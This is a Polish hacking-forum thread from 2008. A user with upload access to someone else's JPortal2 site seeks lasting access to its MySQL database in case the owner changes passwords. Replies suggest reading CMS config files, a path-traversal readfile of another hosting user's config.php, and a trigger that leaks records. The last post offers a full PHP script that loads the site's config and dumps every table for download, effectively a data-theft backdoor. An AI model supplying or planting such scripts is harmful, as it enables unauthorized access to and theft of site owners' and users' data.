Pokaż wyniki 1 do 9 z 9

Temat: skrypt php- dostep do mysql

  1. #1
    Zarejestrowany
    Dec 2007
    Postów
    56

    Domyślnie skrypt php- dostep do mysql

    witam, mam pytanie czy istnieje skrypt w php ktory pozwoli mi na modyfikowanie danych z mysql bez podawania hasla(bedzie je zczytywal z configu strony) chodzi o Jportal2

    prosze o link/skrypt cokolwiek

    pozdrawiam

    @edit
    albo jak wyciagnac haslo mysql?! ofc za pomoca php


    -> sory za takie noobskie pytania ale srednio stoje z php
    Ostatnio edytowane przez d3q : 06-09-2008 - 14:49

  2. #2
    Avatar gogulas
    gogulas jest offline killboy powerhead
    Zarejestrowany
    Sep 2007
    Skąd
    Tu
    Postów
    1,236

    Domyślnie

    z mysqlem trzeba sie polaczyc, to demon sluchajacy najczesciej na porcie 3306, sluzy do tego funkcja mysql_connect(), innej mozliwosci nie ma, a czy bedzie using password NO/YES to juz zalezy.
    czesto tez akceptowne sa polaczenie jedynie z localhosta, w darmowych hostingach zawsze.

    wyciagnac haslo z mysqla?, jakis bug w nim by sie przydal, albo wystarczy ze odczytasz pliki konifiguracyjne cmsow, czasem tez hosting jest tak swietnie skonfigurowany ze pozwala na readfile(../../../agnieszka/public_html/config.php) :P
    Ostatnio edytowane przez gogulas : 06-09-2008 - 15:15
    http://gogulas.yoyo.pl/h.gif

  3. #3
    Zarejestrowany
    Dec 2007
    Postów
    56

    Domyślnie

    chodzi o to ze dostep do strony mam i moge wgrac plik, ale jak koles zmieni hasla to juz po mnie, chodzi o to zebym w kazdej chwili mogl wejsc do mysql lub wyciagnac haslo z pliku configa

  4. #4
    Avatar gogulas
    gogulas jest offline killboy powerhead
    Zarejestrowany
    Sep 2007
    Skąd
    Tu
    Postów
    1,236

    Domyślnie

    wstawic do bazy jakis trig, zeby wypluwal rekordy... moze i sie da, nie wiem..
    hasla do samego mysla nie uzyskasz, zreszta i tak jest zshashowane.
    http://gogulas.yoyo.pl/h.gif

  5. #5
    Zarejestrowany
    Dec 2007
    Postów
    56

    Domyślnie

    mi sie wydaje ze nie jest ona hashowane bo nawet w panelu admina jest ono jawnie zapisane(nie ma *** czy podobnych) poprostu jawny text Jportal jest taki dziurawy ze musi sie dac jakos to wyciagnac albo jakis skrypt ktory mi umozliwi sciagniecie pliku config

    @edit albo robil kopie pliku config.php z chmodem 777 cokolwiek byle bym mial dostep do mysql
    Ostatnio edytowane przez d3q : 06-09-2008 - 17:33

  6. #6
    Avatar elceef
    elceef jest offline Proces bezczynności
    Zarejestrowany
    Apr 2008
    Postów
    200

    Domyślnie

    Cytat Napisał gogulas Zobacz post
    z mysqlem trzeba sie polaczyc, to demon sluchajacy najczesciej na porcie 3306, sluzy do tego funkcja mysql_connect(), innej mozliwosci nie ma
    Ależ oczywiście, że jest inna możliwość.

  7. #7
    rip
    rip jest offline Banned
    Zarejestrowany
    May 2008
    Postów
    534

    Domyślnie

    podaj adres tej stronki

  8. #8
    Zarejestrowany
    Dec 2007
    Postów
    56

    Domyślnie

    nie za bardzo mi podawac adresu ale jest ona oparta na cms Jportal2

    @edit
    stoi ona na darmowym hoscie yoyo.pl
    Ostatnio edytowane przez d3q : 06-09-2008 - 21:06

  9. #9
    Zarejestrowany
    Dec 2007
    Postów
    56

    Domyślnie

    mam!! przerobilem plik ktory robi kopie bazy jak cos to wrzucam, dziala na JPortal2, moze sie komus przyda

    dzieki za pomoc

    Kod:
    <?
    include('config.php');
    
    {
    
     
    
    
    		@set_time_limit(600);
    		$crlf="\n";
    
    		$strNoTablesFound = "Brak tabel w bazie danych.";
    		$strHost = "Host";
    		$strDatabase = "Baza danych ";
    		$strTableStructure = "Struktura tabeli dla";
    		$strDumpingData = "Zawartosc tabeli";
    		$strError = "blad";
    		$strSQLQuery = "SQL";
    		$strMySQLSaid = "MySQL : ";
    		$strBack = "Wstecz";
    		$strFileName = "Kopia bazy";
    		$strName = "Baza danych";
    		$strDone = "Z dnia";
        	$strat = "";
    		$strby = "by";
    		$date_jour = date ("m-d-Y");		
    
    
    		header("Content-disposition: filename=$strFileName $db_name $date_jour.sql");
    		header("Content-type: application/octetstream");
    		header("Pragma: no-cache");
    		header("Expires: 0");
    		
    		// doing some DOS-CRLF magic...
    		$client = getenv("HTTP_USER_AGENT");
    		if(ereg('[^(]*\((.*)\)[^)]*',$client,$regs)) 
    		{
    		$os = $regs[1];
    		// this looks better under WinX
    		if (eregi("Win",$os)) 
    		    $crlf="\r\n";
    		}
    		
    		
    		function my_handler($sql_insert)
    		{
    		    global $crlf;
    		    echo "$sql_insert;$crlf";
    		}
    		
    		// Get the content of $table as a series of INSERT statements.
    		// After every row, a custom callback function $handler gets called.
    		// $handler must accept one parameter ($sql_insert);
    		function get_table_content($db, $table, $handler)
    		{
    		    $result = mysql_db_query($db, "SELECT * FROM $table") or mysql_die();
    		    $i = 0;
    		    while($row = mysql_fetch_row($result))
    		    {
    		//        set_time_limit(60); // HaRa
    		        $table_list = "(";
    		
    		        for($j=0; $j<mysql_num_fields($result);$j++)
    		            $table_list .= mysql_field_name($result,$j).", ";
    		
    		        $table_list = substr($table_list,0,-2);
    		        $table_list .= ")";
    		
    		        if(isset($GLOBALS["showcolumns"]))
    		            $schema_insert = "INSERT INTO $table $table_list VALUES (";
    		        else
    		            $schema_insert = "INSERT INTO $table VALUES (";
    		
    		        for($j=0; $j<mysql_num_fields($result);$j++)
    		        {
    		            if(!isset($row[$j]))
    		                $schema_insert .= " NULL,";
    		            elseif($row[$j] != "")
    		                $schema_insert .= " '".addslashes($row[$j])."',";
    		            else
    		                $schema_insert .= " '',";
    		        }
    		        $schema_insert = ereg_replace(",$", "", $schema_insert);
    		        $schema_insert .= ")";
    		        $handler(trim($schema_insert));
    		        $i++;
    		    }
    		    return (true);
    		}
    		
    		// Return $table's CREATE definition
    		// Returns a string containing the CREATE statement on success
    		function get_table_def($db, $table, $crlf)
    		{
    		    $schema_create = "";
    		    //$schema_create .= "DROP TABLE IF EXISTS $table;$crlf";
    		    $schema_create .= "CREATE TABLE $table ($crlf";
    		
    		    $result = mysql_db_query($db, "SHOW FIELDS FROM $table") or mysql_die();
    		    while($row = mysql_fetch_array($result))
    		    {
    		        $schema_create .= "   $row[Field] $row[Type]";
    		
    		        if(isset($row["Default"]) && (!empty($row["Default"]) || $row["Default"] == "0"))
    		            $schema_create .= " DEFAULT '$row[Default]'";
    		        if($row["Null"] != "YES")
    		            $schema_create .= " NOT NULL";
    		        if($row["Extra"] != "")
    		            $schema_create .= " $row[Extra]";
    		        $schema_create .= ",$crlf";
    		    }
    		    $schema_create = ereg_replace(",".$crlf."$", "", $schema_create);
    		    $result = mysql_db_query($db, "SHOW KEYS FROM $table") or mysql_die();
    		    while($row = mysql_fetch_array($result))
    		    {
    		        $kname=$row['Key_name'];
    		        if(($kname != "PRIMARY") && ($row['Non_unique'] == 0))
    		            $kname="UNIQUE|$kname";
    		         if(!isset($index[$kname]))
    		             $index[$kname] = array();
    		         $index[$kname][] = $row['Column_name'];
    		    }
    		
    		    while(list($x, $columns) = @each($index))
    		    {
    		         $schema_create .= ",$crlf";
    		         if($x == "PRIMARY")
    		             $schema_create .= "   PRIMARY KEY (" . implode($columns, ", ") . ")";
    		         elseif (substr($x,0,6) == "UNIQUE")
    		            $schema_create .= "   UNIQUE ".substr($x,7)." (" . implode($columns, ", ") . ")";
    		         else
    		            $schema_create .= "   KEY $x (" . implode($columns, ", ") . ")";
    		    }
    		
    		    $schema_create .= "$crlf)";
    		    return (stripslashes($schema_create));
    		}
    		
    		function mysql_die($error = "")
    		{
    		    echo "<b> $strError </b><p>";
    		    if(isset($sql_query) && !empty($sql_query))
    		    {
    		        echo "$strSQLQuery: <pre>$sql_query</pre><p>";
    		    }
    		    if(empty($error))
    		        echo $strMySQLSaid.mysql_error();
    		    else
    		        echo $strMySQLSaid.$error;
    		    echo "<br><a href=\"javascript:history.go(-1)\">$strBack</a>";
    		    exit;
    		}
    		
    		global $db_host, $db_name, $db_pass, $db_user, $site_name, $aadres;
    				
    		$tables = mysql_list_tables($db_name);
    		
    		$num_tables = @mysql_numrows($tables);
    		if($num_tables == 0)
    		{
    		    echo $strNoTablesFound;
    		}
    		else
    		{
    		    $i = 0;
    		    $heure_jour = date ("H:i");
    		    print "# ========================================================$crlf";
    		    print "#$crlf";
    		    print "# $strName : $db_name$crlf";
    		    print "# $strDone $date_jour $strat $heure_jour$crlf";
                print "# $site_name ($aadres)$crlf";
    		    print "#$crlf";
    		    print "# ========================================================$crlf";
    		    print "$crlf";
    		    
    		    while($i < $num_tables)
    		    { 
    		        $table = mysql_tablename($tables, $i);
    		
    		        print $crlf;
    		        print "# --------------------------------------------------------$crlf";
    		        print "#$crlf";
    		        print "# $strTableStructure '$table'$crlf";
    		        print "#$crlf";
    		        print $crlf;
    		
    		        echo get_table_def($db_name, $table, $crlf).";$crlf$crlf";
    		        
    			print "#$crlf";
    			print "# $strDumpingData '$table'$crlf";
    			print "#$crlf";
    			print $crlf;
    			
    			get_table_content($db_name, $table, "my_handler");
    		
    		        $i++;
    		    }
    		}
    
    
    }
    
    
    
    ?>
    Ostatnio edytowane przez d3q : 06-10-2008 - 20:01

Podobne wątki

  1. skrypt php jako plik jpg
    By gogulas in forum Newbie - dla początkujących!
    Odpowiedzi: 20
    Autor: 09-20-2016, 15:27
  2. PHP i MySQL
    By FX12 in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 2
    Autor: 04-22-2008, 15:36
  3. php,mysql - problem z extensions
    By eMCe in forum Domeny/Serwery
    Odpowiedzi: 3
    Autor: 02-28-2008, 15:37
  4. Założenie bazy danych MySQL poprzez skrypt PHP
    By Abik in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 11
    Autor: 12-27-2007, 14:04
  5. [php/mysql] polskie znaki przy zapisie do bazy danych!
    By eMCe in forum PHP/CGI/ASP/JSP/J2EE
    Odpowiedzi: 6
    Autor: 05-07-2007, 18:39

Zasady Postowania

  • Nie możesz zakładać nowych tematów
  • Nie możesz pisać wiadomości
  • Nie możesz dodawać załączników
  • Nie możesz edytować swoich postów
  •  
Subskrybuj